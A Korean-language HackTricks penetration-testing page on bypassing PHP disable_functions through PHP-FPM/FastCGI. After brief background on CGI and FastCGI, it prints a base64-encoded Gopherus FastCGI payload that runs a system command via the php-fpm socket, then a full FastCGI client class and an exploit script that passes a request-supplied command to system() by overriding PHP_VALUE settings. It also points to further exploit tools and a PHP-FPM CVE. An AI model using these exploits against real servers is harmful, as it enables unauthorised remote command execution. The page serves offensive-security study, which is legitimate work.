disable_functions bypass - php-fpm/FastCGI

제로부터 영웅이 될 때까지 AWS 해킹 배우기 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법:

PHP-FPM

PHP-FPM높은 트래픽을 갖는 웹사이트에 특히 유용한 기능을 제공하는 표준 PHP FastCGI에 대한 우수한 대안으로 제시됩니다. 이는 일련의 워커 프로세스를 감독하는 마스터 프로세스를 통해 작동합니다. PHP 스크립트 요청에 대해 웹 서버가 FastCGI 프록시 연결을 PHP-FPM 서비스로 시작합니다. 이 서비스는 서버의 네트워크 포트 또는 유닉스 소켓을 통해 요청을 수신할 수 있습니다.

프록시 연결의 중간 역할에도 불구하고 PHP-FPM은 웹 서버와 동일한 기계에서 작동해야 합니다. 프록시 기반 연결을 사용하더라도 PHP-FPM은 일반적인 프록시 연결과 다릅니다. 요청을 받으면 PHP-FPM의 사용 가능한 워커 중 하나가 처리하여 PHP 스크립트를 실행하고 결과를 웹 서버로 다시 전달합니다. 워커가 요청을 처리한 후에는 다음 요청을 위해 다시 사용 가능해집니다.

그렇다면 CGI와 FastCGI는 무엇인가요?

CGI

일반적으로 웹 페이지, 파일 및 모든 문서는 서버에서 브라우저로 전송되는 특정 공개 디렉토리에 저장됩니다. 브라우저가 특정 콘텐츠를 요청하면 서버는 이 디렉토리를 확인하고 필요한 파일을 브라우저로 보냅니다.

서버에 CGI가 설치되어 있으면 특정 cgi-bin 디렉토리가 추가되며, 예를 들어 home/user/public_html/cgi-bin입니다. CGI 스크립트는 이 디렉토리에 저장됩니다. 디렉토리의 각 파일은 실행 가능한 프로그램으로 처리됩니다. 디렉토리에서 스크립트에 액세스할 때 서버는 파일의 내용을 브라우저로 보내는 대신 이 스크립트에 대한 책임이 있는 응용 프로그램에 요청을 보냅니다. 입력 데이터 처리가 완료되면 응용 프로그램이 출력 데이터를 웹 서버로 보내고, 웹 서버는 데이터를 HTTP 클라이언트로 전달합니다.

예를 들어, CGI 스크립트 http://mysitename.com/cgi-bin/file.pl에 액세스하면 서버는 CGI를 통해 적절한 Perl 응용 프로그램을 실행합니다. 스크립트 실행에서 생성된 데이터는 응용 프로그램에 의해 웹 서버로 전송됩니다. 반면에 서버는 데이터를 브라우저로 전송합니다. 서버에 CGI가 없는 경우 브라우저는 .pl 파일 코드 자체를 표시했을 것입니다. (여기에서 설명)

FastCGI

FastCGI는 최신 웹 기술로, 주요 기능은 여전히 동일한 CGI 버전의 개선된 것입니다.

FastCGI를 개발해야 했던 이유는 애플리케이션의 신속한 개발과 복잡성으로 인해 웹이 발전하고, CGI 기술의 확장성 결함을 해결하기 위해서였습니다. 이러한 요구 사항을 충족시키기 위해 Open Market성능이 향상된 CGI 기술의 고성능 버전인 FastCGI를 도입했습니다.

disable_functions 우회

disable_functions 제한을 우회하고 FastCGI를 악용하여 PHP 코드를 실행할 수 있습니다.

Gopherus를 통해

현대 버전에서 작동하는지 확신하지 못합니다. 한 번 시도해보았지만 아무것도 실행되지 않았습니다. 이에 대해 더 많은 정보를 가지고 있다면 [여기의 PEASS & HackTricks 텔레그램 그룹](https://t.me/peass)이나 트위터 [@carlospolopm](https://twitter.com/hacktricks_live)을 통해 저에게 연락해 주세요**.**

Gopherus를 사용하여 FastCGI 수신기에 보낼 payload를 생성하고 임의의 명령을 실행할 수 있습니다:

<?php
$fp = fsockopen("unix:///var/run/php/php7.0-fpm.sock", -1, $errno, $errstr, 30); fwrite($fp,base64_decode("AQEAAQAIAAAAAQAAAAAAAAEEAAEBBAQADxBTRVJWRVJfU09GVFdBUkVnbyAvIGZjZ2ljbGllbnQgCwlSRU1PVEVfQUREUjEyNy4wLjAuMQ8IU0VSVkVSX1BST1RPQ09MSFRUUC8xLjEOAkNPTlRFTlRfTEVOR1RINzYOBFJFUVVFU1RfTUVUSE9EUE9TVAlLUEhQX1ZBTFVFYWxsb3dfdXJsX2luY2x1ZGUgPSBPbgpkaXNhYmxlX2Z1bmN0aW9ucyA9IAphdXRvX3ByZXBlbmRfZmlsZSA9IHBocDovL2lucHV0DxdTQ1JJUFRfRklMRU5BTUUvdmFyL3d3dy9odG1sL2luZGV4LnBocA0BRE9DVU1FTlRfUk9PVC8AAAAAAQQAAQAAAAABBQABAEwEADw/cGhwIHN5c3RlbSgnd2hvYW1pID4gL3RtcC93aG9hbWkudHh0Jyk7ZGllKCctLS0tLU1hZGUtYnktU3B5RDNyLS0tLS0KJyk7Pz4AAAAA"));

PHP exploit

현재 버전에서 작동하는지 확신하지 못합니다. 한 번 시도해보았지만 아무것도 실행되지 않았습니다. 실제로 FastCGI 실행에서 disable_functions가 비어 있음을 확인했지만 PHP는 이전에 비활성화된 함수를 실행하는 것을 여전히 방지하고 있었습니다. 이에 대해 더 많은 정보를 가지고 있다면 [PEASS & HackTricks 텔레그램 그룹](https://t.me/peass)이나 트위터 [@carlospolopm](https://twitter.com/hacktricks_live)을 통해 연락 주세요.

코드는 여기에서 확인할 수 있습니다.

<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author      Pierrick Charron <pierrick@webstart.fr>
* @version     1.0
*/
class FCGIClient
{
const VERSION_1            = 1;
const BEGIN_REQUEST        = 1;
const ABORT_REQUEST        = 2;
const END_REQUEST          = 3;
const PARAMS               = 4;
const STDIN                = 5;
const STDOUT               = 6;
const STDERR               = 7;
const DATA                 = 8;
const GET_VALUES           = 9;
const GET_VALUES_RESULT    = 10;
const UNKNOWN_TYPE         = 11;
const MAXTYPE              = self::UNKNOWN_TYPE;
const RESPONDER            = 1;
const AUTHORIZER           = 2;
const FILTER               = 3;
const REQUEST_COMPLETE     = 0;
const CANT_MPX_CONN        = 1;
const OVERLOADED           = 2;
const UNKNOWN_ROLE         = 3;
const MAX_CONNS            = 'MAX_CONNS';
const MAX_REQS             = 'MAX_REQS';
const MPXS_CONNS           = 'MPXS_CONNS';
const HEADER_LEN           = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1)         /* version */
. chr($type)                    /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF)        /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
. chr($clen & 0xFF)             /* contentLengthB0 */
. chr(0)                        /* paddingLength */
. chr(0)                        /* reserved */
. $content;                     /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version']       = ord($data{0});
$ret['type']          = ord($data{1});
$ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved']      = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len  = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
```php
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// real exploit start here
if (!isset($_REQUEST['cmd'])) {
die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything
$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD'    => 'POST',
'SCRIPT_FILENAME'   => $filepath,
'SCRIPT_NAME'       => $req,
'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
'REQUEST_URI'       => $uri,
'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
'PHP_VALUE'         => $php_value,
'SERVER_SOFTWARE'   => '80sec/wofeiwo',
'REMOTE_ADDR'       => '127.0.0.1',
'REMOTE_PORT'       => '9985',
'SERVER_ADDR'       => '127.0.0.1',
'SERVER_PORT'       => '80',
'SERVER_NAME'       => 'localhost',
'SERVER_PROTOCOL'   => 'HTTP/1.1',
'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

이전 함수를 사용하면 함수 **system**이 아직 비활성화되어 있지만 **phpinfo()**에서 **disable_functions**이 비어 있는 것을 볼 수 있습니다:

그러므로, disable_functions를 php .ini 구성 파일을 통해만 설정할 수 있고 PHP_VALUE는 해당 설정을 덮어쓰지 않을 것으로 생각합니다.

이는 open_basedirdisable_functions를 우회하기 위해 fastcgi 프로토콜을 악용하는 php 스크립트입니다. 악의적인 익스텐션을 로드하여 엄격한 disable_functions를 우회하여 RCE에 도움이 됩니다. 여기에서 액세스할 수 있습니다: https://github.com/w181496/FuckFastcgi 또는 약간 수정된 향상된 버전은 여기에서 찾을 수 있습니다: https://github.com/BorelEnzo/FuckFastcgi

이 exploit이 이전 코드와 매우 유사하다는 것을 알 수 있습니다. 그러나 PHP_VALUE를 사용하여 disable_functions를 우회하려고 하는 대신, extension_dirextension 매개변수를 사용하여 악성 PHP 모듈을 로드하여 PHP_ADMIN_VALUE 변수 내에서 코드를 실행하려고 시도합니다. 참고1: 아마도 서버가 사용하는 동일한 PHP 버전으로 확장자를 다시 컴파일해야 할 것입니다 (phpinfo의 출력 내에서 확인할 수 있습니다):

참고2: 이 exploit을 사용하고 PHP_ADMIN_VALUE 변수에서 익스텐션을 로드할 때 프로세스가 갑자기 종료되어 이 기술이 여전히 유효한지 알 수 없습니다. 이를 공격하여 서버에 대해 수행할 수 없는 PHP .ini 구성 파일 내에 extension_dirextension 값을 삽입하여 작동시킬 수 있었습니다. 그러나 이 exploit을 사용하고 익스텐션을 PHP_ADMIN_VALUE 변수에서 로드할 때 프로세스가 갑자기 종료되어 이 기술이 여전히 유효한지 알 수 없습니다.

PHP-FPM 원격 코드 실행 취약점 (CVE-2019–11043)

phuip-fpizdam을 사용하여 이 취약점을 악용할 수 있으며 이 도커 환경을 사용하여 테스트할 수 있습니다: https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043. 취약점에 대한 분석은 여기에서 찾을 수 있습니다.

htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 AWS 해킹을 배우세요**!

HackTricks를 지원하는 다른 방법:

Last updated